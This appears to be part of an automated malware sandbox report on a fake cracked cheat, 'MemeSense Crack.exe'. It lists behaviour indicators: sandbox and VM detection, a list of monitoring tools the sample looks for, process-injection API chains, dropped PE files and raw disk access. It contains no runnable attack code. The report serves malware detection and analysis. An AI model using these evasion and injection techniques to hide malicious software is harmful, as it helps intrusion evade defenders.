Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dialer.exe

Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,

34_2_00007FF724A510C0

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\dialer.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: dialer.exe, 0000007D.00000003.2396322771.0000029AF1400000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEDKMLZTPNQBPODIVH
Source: dialer.exe, 0000007D.00000003.2396322771.0000029AF1400000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE

Source: C:\Windows\System32\svchost.exe

File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1964	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7910	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3107
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6599
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 928
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 9070
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 2150
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 7785
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 2589
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 7398
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4898
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4785
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5372
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4136
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4514
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5206
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6994
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7829
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7156

Source: C:\Program Files\Microsoft\Edge\updater.exe	Dropped PE file which has not been started: C:\Windows\Temp\jkiahanfoyhg.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\jkiahanfoyhg.tmp	Jump to dropped file
Source: C:\Program Files\Microsoft\Edge\updater.exe	Dropped PE file which has not been started: C:\Program Files\Google\Libs\WR64.sys	Jump to dropped file
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AC3BF.tmp	Jump to dropped file

Source: C:\Windows\System32\svchost.exe

Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

graph_48-6696

Source: C:\Windows\System32\dialer.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_34-517

Source: C:\Windows\System32\svchost.exe

API coverage: 5.6 %

Source: C:\Windows\System32\svchost.exe TID: 7264	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7228	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe TID: 6468	Thread sleep count: 349 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1788	Thread sleep count: 1964 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1788	Thread sleep count: 7910 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7388	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dialer.exe TID: 2060	Thread sleep count: 338 > 30
Source: C:\Windows\System32\dialer.exe TID: 2060	Thread sleep time: -33800s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3132	Thread sleep count: 3107 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2064	Thread sleep count: 6599 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4200	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 5760	Thread sleep count: 928 > 30
Source: C:\Windows\System32\winlogon.exe TID: 5760	Thread sleep time: -928000s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 5760	Thread sleep count: 9070 > 30
Source: C:\Windows\System32\winlogon.exe TID: 5760	Thread sleep time: -9070000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 4372	Thread sleep count: 2150 > 30
Source: C:\Windows\System32\lsass.exe TID: 4372	Thread sleep time: -2150000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 4372	Thread sleep count: 7785 > 30
Source: C:\Windows\System32\lsass.exe TID: 4372	Thread sleep time: -7785000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4332	Thread sleep count: 2589 > 30
Source: C:\Windows\System32\svchost.exe TID: 4332	Thread sleep time: -2589000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4332	Thread sleep count: 7398 > 30
Source: C:\Windows\System32\svchost.exe TID: 4332	Thread sleep time: -7398000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 1060	Thread sleep count: 33 > 30
Source: C:\Windows\System32\dwm.exe TID: 1060	Thread sleep time: -33000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7380	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1284	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2720	Thread sleep count: 77 > 30
Source: C:\Windows\System32\svchost.exe TID: 2720	Thread sleep time: -77000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5552	Thread sleep count: 72 > 30
Source: C:\Windows\System32\svchost.exe TID: 5552	Thread sleep time: -72000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4100	Thread sleep count: 66 > 30
Source: C:\Windows\System32\svchost.exe TID: 4100	Thread sleep time: -66000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 688	Thread sleep count: 47 > 30
Source: C:\Windows\System32\svchost.exe TID: 688	Thread sleep time: -47000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7180	Thread sleep count: 4898 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7180	Thread sleep count: 4785 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7448	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2656	Thread sleep count: 43 > 30
Source: C:\Windows\System32\svchost.exe TID: 2656	Thread sleep time: -43000s >= -30000s
Source: C:\Windows\System32\dialer.exe TID: 6252	Thread sleep count: 249 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7512	Thread sleep count: 5372 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1596	Thread sleep count: 4136 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6612	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6956	Thread sleep count: 36 > 30
Source: C:\Windows\System32\svchost.exe TID: 6956	Thread sleep time: -36000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3868	Thread sleep count: 37 > 30
Source: C:\Windows\System32\svchost.exe TID: 3868	Thread sleep time: -37000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3616	Thread sleep count: 35 > 30
Source: C:\Windows\System32\svchost.exe TID: 3616	Thread sleep time: -35000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3348	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe TID: 6500	Thread sleep count: 222 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7432	Thread sleep count: 4514 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1096	Thread sleep count: 5206 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7180	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\dialer.exe TID: 6220	Thread sleep count: 108 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3488	Thread sleep count: 6994 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2560	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1872	Thread sleep count: 7829 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2252	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3180	Thread sleep count: 109 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4204	Thread sleep count: 7156 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2200	Thread sleep time: -4611686018427385s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\dialer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
